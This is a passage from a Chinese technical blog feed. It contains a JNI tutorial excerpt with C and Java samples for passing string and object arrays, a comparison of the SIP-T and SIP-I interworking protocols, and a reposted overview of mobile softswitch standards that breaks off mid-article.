<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #define ARRAY_LENGTH 5<br />&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; JNIEXPORT jobjectArray JNICALL Java_Sample3_stringMethod(JNIEnv *env, jobject obj, jstring string)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jclass objClass = (*env)-&gt;FindClass(env, "java/lang/String");</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jobjectArray texts= (*env)-&gt;NewObjectArray(env, (jsize)ARRAY_LENGTH, objClass, 0);</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jstring jstr;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; char* sa[] = { "Hello,", "world!", "JNI", "很", "好玩" };</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int i=0;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(;i&lt;ARRAY_LENGTH;i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jstr = (*env)-&gt;NewStringUTF( env, sa[i] );</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (*env)-&gt;SetObjectArrayElement(env, texts, i, jstr);//必须放入jstring</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } </p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return texts;</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">第9、10行是我们需要特别关注的地方：JNI框架并 没有定义专门的字符串数组，而是使用jobjectArray&#8212;&#8212;对象数组，对象数组的基类是jclass，jclass是JNI框架内特有的类型，相当 于Java语言中的Class类型。在本例程中，通过FindClass()函数在JNI上下文中获取到java.lang.String的类型 （Class），并将其赋予jclass变量。</p>
<p style="text-indent: 21pt">在例程中我们定义了一个长度为5的对象数组texts，并在程序的第18行向其中循环放入预先定义好的sa数组中的字符串，当然前置条件是使用NewStringUTF()函数将C语言的字符串转换为jstring类型。</p>
<p style="text-indent: 21pt">本例程的另一个关注点是C程序向Java程序传递的中文字符，在Java程序中能否正常显 示的问题。在笔者的试验环境中，Sample3.c是在Linux平台上编辑的，其中的中文字符则是用支持GBK的输入法输入的，而Java程序采用 ISO8859_1字符集存放JNI调用的返回字符，因此在&#8220;代码清单15-10在Linux平台上调用C函数的例程&#8212;&#8212;Sample3&#8221;的第14行中将 其转码后输出。</p>
<h4 style="margin-left: 21pt">15.2.2.6 传递对象数组</h4>
<p style="text-indent: 21pt">本节例程演示的是C程序向Java程序传递对象数组，而且对象数组中存放的不再是字符串，而是一个在Java中自定义的、含有一个topic属性的MailInfo对象类型。</p>
<p style="text-indent: 21pt">MailInfo对象定义如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-12 在Linux平台上调用C函数的例程&#8212;&#8212;MailInfo</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; public class MailInfo {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public String topic;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; public String getTopic()</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return this.topic;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br /></p>
<p style="margin-left: 21pt; text-indent: -21pt">public void setTopic(String topic)</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp;&nbsp; this.topic=topic;</p>
<p style="margin-left: 21pt; text-indent: -21pt">&nbsp;&nbsp; }</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">Java程序的源代码如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-13 在Linux平台上调用C函数的例程&#8212;&#8212;Sample4</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public class Sample4</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public native MailInfo[] objectMethod(String text);</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; public static void main(String[] args)</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; System.loadLibrary("Sample4");</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Sample4 sample = new Sample4();</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; MailInfo[] mails = sample.objectMethod("Thinking In Java");</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(int i=0;i&lt;mails.length;i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.out.println(mails[i].topic);</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11pt">&nbsp;&nbsp; }</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; line-height: 11pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">}</p></div>
<p style="text-indent: 21pt">Sample4.java调用libSample4.so中的objectMethod()函数。Sample4.c的源代码如下。</p>
<p style="margin: 7.2pt 0cm 3.6pt">代码清单15-14 在Linux平台上调用C函数的例程&#8212;&#8212;Sample4.c</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;Sample4.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;string.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdlib.h&gt;</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #define ARRAY_LENGTH 5</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp; </p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JNIEXPORT jobjectArray JNICALL Java_Sample4_objectMethod(JNIEnv *env, jobject obj, jstring string)</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jclass objClass = (*env)-&gt;FindClass(env, "java/lang/Object");</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jobjectArray mails= (*env)-&gt;NewObjectArray(env, (jsize)ARRAY_LENGTH, objClass, 0);</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt"></p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jclass objectClass = (*env)-&gt;FindClass(env, "MailInfo");</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; jfieldID topicFieldId = (*env)-&gt;GetFieldID(env, objectClass, "topic", "Ljava/lang/String;");</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;<br /></p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int i=0;</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for(;i&lt;ARRAY_LENGTH;i++)</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp; {</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (*env)-&gt;SetObjectField(env, obj, topicFieldId, string);</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (*env)-&gt;SetObjectArrayElement(env, mails, i, obj);</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }</p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br /></p>
<p style="margin-left: 21pt; text-indent: -21pt; line-height: 11.2pt">&nbsp;&nbsp;&nbsp; return mails;</p>
<div style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 1pt; border-top-style: none; padding-top: 0cm; border-bottom: rgb(153,153,153) 1pt solid; border-right-style: none; border-left-style: none">
<p style="padding-right: 0cm; padding-left: 0cm; padding-bottom: 0cm; margin-left: 21pt; border-top-style: none; text-indent: -21pt; line-height: 11.2pt; padding-top: 0cm; border-right-style: none; border-left-style: none; border-bottom-style: none">&nbsp;&nbsp; }</p></div>
<p style="margin-top: 6pt; text-indent: 21pt">程序的第9、10行读者们应该不会陌生，在上一节的例 程中已经出现过，不同之处在于这次通过FindClass()函数在JNI上下文中获取的是java.lang.Object的类型（Class），并将 其作为基类开辟出一个长度为5的对象数组，准备用来存放MailInfo对象。</p>
<p style="text-indent: 21pt">程序的第12、13行的目的则是创建一个jfieldID类型的变量，在JNI中，操作对 象属性都是通过jfieldID进行的。第12行首先查找得到MailInfo的类型（Class），然后基于这个jclass进一步获取其名为 topic的属性，并将其赋予jfieldID变量。</p>
<p style="text-indent: 21pt">程序的第18、19行的目的是循环向对象数组中放入jobject对象。 SetObjectField()函数属于首次使用，该函数的作用是向jobject的属性赋值，而值的内容正是Java程序传入的jstring变量 值。请注意在向对象属性赋值和向对象数组中放入对象的过程中，我们使用了在函数头部分定义的jobject类型的环境参数obj作为中介。至此，JNI框 架固有的两个环境入参env和obj，我们都有涉及。</p><img src ="http://www.blogjava.net/hijackwust/aggbug/354552.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2011-07-18 18:36 <a href="http://www.blogjava.net/hijackwust/archive/2011/07/18/354552.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SIP-T和SIP-I的比较</title><link>http://www.blogjava.net/hijackwust/archive/2008/08/19/222968.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Tue, 19 Aug 2008 04:41:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/08/19/222968.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/222968.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/08/19/222968.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/222968.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/222968.html</trackback:ping><description><![CDATA[<p>转自：http://space.itpub.net/2008/viewspace-45247<br />
<br />
</p>
关于软交换SIP域和传统PSTN的互通问题目前有两个标准体系，即IETF的SIP-T协议族和ITU-T的SIP-I协议族。<br />
<br />
　　<br />
　　1.IETF的SIP-T协议<br />
　　<br />
　　SIP-T(SIPforTelephones)由IETFMMUSIC工作组的RFC3372所定义，整个协议族包括RFC3372、RFC2976、RFC3204、RFC3398等。它采用端到端的研究方法建立了SIP与ISUP互通时的三种互通模型，即：呼叫由PSTN用户发起经SIP网络由PSTN用户终结；呼叫由SIP用户发起由PSTN用户终结；呼叫由PSTN用户发起由SIP用户终结。 　　SIP-T为SIP与ISUP的互通提出了两种方法，即封装和映射，分别由RFC3204和RFC3398所定义。但SIP-T只关注于基本呼叫的互通，对补充业务则基本上没有涉及。<br />
　　<br />
　　2.ITU-T的SIP-I协议<br />
　　<br />
　　SIP-I(SIPwithEncapsulatedISUP)协议族包括ITU-TSG11工作组的TRQ.2815和Q.1912.5。前者定义了SIP与BICC/ISUP互通时的技术需求，包括互通接口模型、互通单元IWU所应支持的协议能力集、互通接口的安全模型等。后者根据IWU在SIP侧的NNI上所需支持的不同协议能力配置集，详细定义了3GPPSIP与BICC/ISUP的互通、一般情况下SIP与BICC/ISUP的互通、SIP带有ISUP消息封装时(SIP-I)与BICC/ISUP的互通等。<br />
　　<br />
　　SIP-I协议族重用了许多IETF的标准和草案，内容不仅涵盖了基本呼叫的互通，还包括了BICC/ISUP补充业务的互通。<br />
　　<br />
　　3.SIP-T与SIP-I的比较显然，SIP-I协议族的内容远远比SIP-T的内容要丰富。SIP-I协议族不仅包括了基本呼叫的互通，还包括了CLIP、CLIR等补充业务的互通；除了呼叫信令的互通外，还考虑到了资源预留、媒体信息的转换等；既有固网软交换环境下SIP与BICC/ISUP的互通，也有移动3GPPSIP与BICC/ISUP的互通，等等。<br />
　　<br />
　　尤为重要的是，SIP-I协议族具有ITU-T标准固有的清晰准确和详细具体，可操作性非常强。并且3GPP已经采用Q.1912.5作为IMS与PSTN/PLMN互通的最终标准。所以，软交换SIP域与PSTN的互通应该遵循ITU-T的SIP-I协议族。实际上已经有许多电信运营商最终选择了SIP-I而放弃了SIP-T。基于以上比较和分析，我们可以得出以下结论：<br />
　　<br />
　　在软交换之间互通协议方面，目前固网中应用较多的是SIP-T，移动应用的是BICC，未来的发展方向是SIP-I；在软交换与媒体网关之间的控制协议方面，MGCP较成熟，但H.248继承了MGCP的所有的优点，有取代MGCP的趋势；软交换和IAD之间的控制协议方面，MGCP较成熟，但H.248继承了MGCP的所有的优点，有取代MGCP的趋势；软交换与终端之间的控制协议方面，SIP是趋势；软交换与应用服务器之间，SIP是主流，目前此业务接口基本成熟；应用服务器与第三方业务，Parlay是方向，但目前商用不成熟
<img src ="http://www.blogjava.net/hijackwust/aggbug/222968.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hijackwust/" target="_blank">hijackwust</a> 2008-08-19 12:41 <a href="http://www.blogjava.net/hijackwust/archive/2008/08/19/222968.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]移动软交换的技术标准和演进过程</title><link>http://www.blogjava.net/hijackwust/archive/2008/08/12/221450.html</link><dc:creator>hijackwust</dc:creator><author>hijackwust</author><pubDate>Tue, 12 Aug 2008 03:12:00 GMT</pubDate><guid>http://www.blogjava.net/hijackwust/archive/2008/08/12/221450.html</guid><wfw:comment>http://www.blogjava.net/hijackwust/comments/221450.html</wfw:comment><comments>http://www.blogjava.net/hijackwust/archive/2008/08/12/221450.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/hijackwust/comments/commentRss/221450.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/hijackwust/services/trackbacks/221450.html</trackback:ping><description><![CDATA[<p>转自：http://blog.sina.com.cn/s/blog_4b40445b010009np.html<br />
<br />
<br />
&nbsp;<font style="font-size: 12px"><font color="#660000"><strong>一、引言</strong></font></font> </p>
<p></p>
<p><font style="font-size: 12px"><font color="#660000">　　当数据业务逐渐取代话音业务成为主要的收益来源时，向以数据为主的分组网络演进不可避免。由于话音仍是一种重要的业务，要求下一代网络必须根据不同业务的要求提供相应的QoS保证。因此，形成了网络技术向NGN网络演进的主要推动力。<br />
　　<br />
　 <br />
　　<br />
<strong>　　二、软交换技术的概述</strong></font></font></p>
<p><font style="font-size: 12px"><font color="#660000">　　固网NGN的软交换技术现在基本上按两条技术路线来发展：一条是将传统电路交换领域的业务移植到分组承载网上来实现。另一条是全新的基于全IP的多媒体业务系统。对于第一条路线，传统电信业务从专用TDM承载向统一的共享式IP/ATM多业务传输网络转移，并且在维持用户接入方式不变的前提下借助接入网关完成网络层业务传输的分组化。原电路交换网络设备被划分为物理上独立的控制面软交换和承载面媒体网关两个部分，而PSTN/ISDN/PLMN最终用户基本感觉不到业务特性及接入方式的变化。<br />
　　<br />
　　对于全新的基于全IP的多媒体业务系统，实现了真正端到端的IP业务特性，并且引入了包括话音在内的全新实时多媒体应用。用户以SIP/H.323分组终端的方式接入软交换网络。网络体系结构及业务的提供方式(如SIP方式)完全不同于传统电路交换网。而UMTS移动领域的3GPP R4及R5两个阶段，正好与上述软交换发展的两条技术路线相对应。<br />
　　<br />
<strong>　　三、移动网的下一代核心网电路域</strong></font></font></p>
<p><font style="font-size: 12px" color="#660000">　　1.3GPP电路域核心网<br />
　　<br />
　　软交换在3GPP核心网的应用主要在两个方面：即电路域和IMS子域。3GPP的R4中，电路域核心网引入了控制和承载分离的网络结构(见图1)。<br />
　　<br />
</font></p>
<div align="left"><font style="font-size: 12px" color="#660000"><img style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" src="http://www.net130.com/CMS/Files/Uploadimages/1127855.jpg"  alt="" /></font></div>
<p align="left"><br />
<font style="font-size: 12px" color="#660000">图1　3GPP电路域核心网</font></p>
<p><font style="font-size: 12px" color="#660000">　　在移动交换服务器核心网的电路域中，可以使用承载独立的方式支持不同的传输层，如IP，ATM或TDM。电路域核心网主要由MSC Server，GMSC Server和MGW组成。<br />
<br />
　　(1)移动交换服务器(GMSC Server和MSC Server)是UMTS移动通信系统中电路域核心网向分组交换方式演进的核心设备，它独立于底层承载协议，主要完成呼叫控制、媒体网关接入控制、移动性管理、资源分配、协议处理、路由、认证、计费等功能，并向用户提供3GPP R4阶段的电路域核心网所能提供的业务，以及配合智能SCP提供多样化的第三方业务。<br />
　　<br />
　　(2)媒体网关(MGW)，是将一种网络中的媒体转换成另一种网络所要求的媒体格式。媒体网关能够在电路交换网的承载通道和分组网的媒体流之间进行转换，可以处理音频、视频，能够进行全双工的媒体翻译，可以演示视频/音频消息，实现其它IVR功能，也可以进行多媒体会议等。<br />
　　<br />
　　GMSC Server和MSC Server通过Mc接口控制MGW。GMSC Server和MSC Server之间通过Nc接口连接。MGW之间通过Nb接口连接。其中：<br />
　　<br />
　　(1)Mc接口：为MSC Server与MGW之间的接口，主要功能是媒体控制。使用基于H.248的呼叫承载控制协议。协议内容包括3GPP29.232，H.248，MeGaCo和Q.1950。<br />
　　<br />
　　(2)Nc接口：为MSC Server与(G)MSC Server之间的接口，主要解决的是用控制和承载分离的方式解决移动ISUP的呼叫控制。使用呼叫控制与承载相分离的呼叫控制协议，如BICC，SIP-T。<br />
　　<br />
　　(3)Nb协议：为MGW之间的接口。主要功能是使用ATM或IP的方式承载电路域的业务，包括话音和电路域的数据承载业务。使用分组交换方式对3GPP电路域的承载协议。Nb接口的主要内容包括3GPP29.415。</font></p>
<p><font style="font-size: 12px" color="#660000">2.3GPP2电路域核心网<br />
　　<br />
　　3GPP2定义的下一代核心网络包括LMSD和MMD两个部分，其中LMSD是为了利用软交换结构的交换网络向用户提供电路域业务而定义的，MMD则是与3GPP定义的全IP相对应的网络。在3GPP2中，对cdma2000网络的传统移动电路交换域向全IP演进的方式进行了定义(见图2)。<br />
　　<br />
</font></p>
<div align="left"><font style="font-size: 12px" color="#660000"><img style="border-right: black 1px solid; border-top: black 1px solid; border-left: black 1px solid; border-bottom: black 1px solid" src="http://www.net130.com/CMS/Files/Uploadimages/1127857.jpg"  alt="" /><br />
</font></div>
<div align="left"><font style="font-size: 12px" color="#660000">图2　cdma2000的LMDS全IP演进</font></div>
<p><font style="font-size: 12px" color="#660000">　　(1)LMSDS需要支持的接口<br />
　　<br />
　　网络中引入了LMSDS实体、媒体网关(MGW)和媒体资源功能处理实体(MRFP)。LMSDS实体包括原LMSD中的HLR，MSC和SCP功能，分别称为HLR模拟器(emulation)、MSC模拟器(emulation)和SCP模拟器(emulation)。LMSDS的功能主要包括传统电路域业务的控制和管理，并且需要支持ANSI-41网络信令(MAP)，PSTN网络信令(ISUP)，媒体网关信令(MEGACO)，MRF处理信令(MEGACO)，无线接入网络信令(IOS-A1)和LMSDS IP呼叫建立信令(SIP-T)接口。</font></p>
<p><font style="font-size: 12px"><font color="#660000">　　(2)MGW和MRFP需要支持的接口<br />
　　<br />
　　MGW和MRFP主要负责各种媒体流的承载和处理，并且提供电路域业务需要的各种信号资源。需要支持的接口有：<br />
　　<br />
　　&#183;媒体网关与RAN之间的话音承载接口：IOS-A2；<br />
　　<br />
　　&#183;媒体网关与RAN之间的电路域数据业务承载接口：IOS-A5；<br />
　　<br />
　　&#183;媒体网关与PSTN之间的承载：TDM；<br />
　　<br />
　　&#183;LMSDS与媒体网关之间的信令：MEGACO；<br />
　　<br />
　　&#183;LMSDS与媒体资源功能处理实体之间的信令：MEGACO；<br />
　　<br />
　　&#183;媒体网关之间的IP承载。<br />
　　<br />
<strong>　　四、协议和功能</strong></font></font></p>
<p><font style="font-size: 12px" color="#660000">　　1.BICC与H.248<br />
　　<br />
　　BICC协议是一个承载与呼叫无关的协议。它的协议模型中将承载控制和呼叫控制两种功能分离，呼叫控制只负责业务流程的实现，和具体的承载类型无关。SIP-T与3G电路域业务兼容能力强，但目前仅支持IP用户面承载，而SIP协议目前也仅支持在IP上承载。<br />
　　<br />
　　BICC因其体系制定的完备性，充分考虑了RTP/IP，ATM AAL2/AALl，TDM，MPLS等方式进行多种电路域业务承载网组建方式的需求，对于目前广域IP QoS机制尚不成熟的情况，具备条件的运营商可能会选择首先组建ATM或TDM承载话音业务流，造成多种承载类型网络共存的局面，而目前仅有BICC可以完成控制面与ATM，IP类承载的兼容支持及交互。BICC真正作到了将呼叫控制逻辑与承载相关的承载控制逻辑的完全分离，承载控制逻辑(如Q.AAL2)直接在MGW间执行或(IPBCP)通过隧道方式在MGW间代理透传，确保了承载模式的变化更新对软交换的业务逻辑影响最小。<br />
　　<br />
　　在ISUP消息中，通常会有一个电路识别编码(CIC)作为参考，用来指示此消息用于哪个物理信道。如果传输和控制是分离的，呼叫独立于传输，ATM或IP就没有指定信道，不能使用CIC来指定传输信道。为了解决控制与承载分离的问题，ITU-T的方案是修改ISUP，克服ISUP的限制，使得传输网络真正变成与控制独立。标准化的结果就是ITU-T的承载独立呼叫控制(BICC)协议。BICC的主要思想是承载控制和呼叫控制两种功能分开：呼叫控制只负责业务流程的实现，和具体的承载类型无关；而承载控制是在传统ISUP协议的基础上，去掉了和具体承载有关的消息和参数，增加了APM消息和APP参数，能够对多种的承载类型进行控制。APM(Application Transport Mechanism)提供了传送承载连接建立所需BICC专用信息的手段。</font></p>
<p><font style="font-size: 12px" color="#660000">　　BICC在3GPP R4电路域的功能主要解决在控制和承载分离的方式下提供移动ISUP的呼叫控制。BICC可以被用在承载任何分组网络的环境中，如ATM，IP，TDM或其它技术。ITU已经定义了两种版本：<br />
　　<br />
　　(1)BICC能力组1(CSl)。CSl是BICC的第一个版本。在2000年完成(ITU-T Q.1901系列)，CSl支持窄带ISDN业务在ATM传输层上传输，它的网络模式假定呼叫控制和承载控制没有物理分开，它假定MGC和MGW是集成在一个节点中，对水平化集成的网络来说，这是很大的一个限制。<br />
　　<br />
　　(2)BICC能力组2(CS2)。为了克服CSl的限制，ITU在2000～2001年间完成了BICC CS2(Q.1902系列)。CS2增加的最重要的内容是在网络模型中包括了本地交换机，MSC，TSC和GMSC。将呼叫控制和承载控制物理分开，并支持IP作为承载技术<br />
　　<br />
　　控制服务器为了能在分层网络中控制远端的MGW，使用了GCP(网关控制协议)。GCP可用来控制承载的建立，控制MGW中的资源，如回声抑制器、编解码器和语音通知机等。机等。IETF与ITU-T合作开发了GCP协议，ITU-T将GCP称之为H.248，而IETF称之为媒体网关控制协议(MEGA-CO)。尽管两个标准化组织各自给了GCP协议不同的名字，但它们的内容是完全一样的。<br />
　　<br />
　　H.248工作在主从模式，并定义了连接模型，连接模垄中有终结点、流以及关联(上下文)。终结点是出/入分组网络的媒体流的连接，它允许信号应用到媒体流上，如发送忙音，也允许从媒体流中接受发生的事件，如收到DTMF信号。关联则是将终结点上媒体流混合并桥接在一起，并描述媒体流之间的关系。在呼叫建立过程中，网关控制协议通过命令建立终端，描述终端的属性，控制在MGW中的资源。<br />
　　<br />
　　2.TFO与TrFO<br />
　　<br />
　　TFO(Tandem Free Operation)是一种带内的通信协议。TrFO(Transcoder Free Operation)是一种带外的Transcoder控制协议。<br />
　　<br />
　　(1)TFO<br />
　　<br />
　　TFO是一种基于目前GSM网络中使用的方法，由于UMTS将语音编码变换点从BSC移到了核心网MGW，TFO在UMTS中使用需要一些修改。TFO是在呼叫建立之后对使用的编解码进行协商，使得手机到手机的呼叫可以避免在发端侧和收端侧进行不必要的语音编解码转换。由于多次的话音压缩/解压缩处理会降低端到端话音质量，增加话音时延，TFO可以明显提高话音质量和减少时延。TFO既可以在BICC网络中实现也可以在传统的TDM承载网络中实现。整个呼叫过程中，经过Transcoder的话音通路带有TFO帧，这些TFO帧确认在呼叫中对Codec的使用。如果需要的话，TFO允许迅速地重新激活编解码器。这是因为即使己被关闭，但Transcoder实际上一直存在于呼叫路径中。重新激活编解码器在某些情况下是必要的，如UMTS到GSM切换，或呼叫中丢失同步等。<br />
　　<br />
　　(2)TrFO<br />
　　<br />
　　网络可以在呼叫建立前就对编解码的类型和模式进行协商，如果两端使用的编解码一样，则对于移动到移动的呼叫可以完全不经过Transcoder。TrFO的好处同样是可以提高话音质量，并且在分组核心网中可以优化网络带宽。话音是以AMR l2.2kbit/s的速率而不是64kbit/s在核心网中传输。由于移动网内的呼叫可以不使用Transcoder，还可以节省设备投资。TrFO是UMTS R4定义的新功能，可以看作是对TFO的补充。Codec的协商在承载建立之前完成，这样可以保证呼叫使用适当的承载资源。</font></p>
<p><font style="font-size: 12px" color="#660000">五、移动网络的IP多媒体业务系统及演进</font></p>
<p><font style="font-size: 12px" color="#660000">　　1.3GPP IMS域<br />
　　<br />
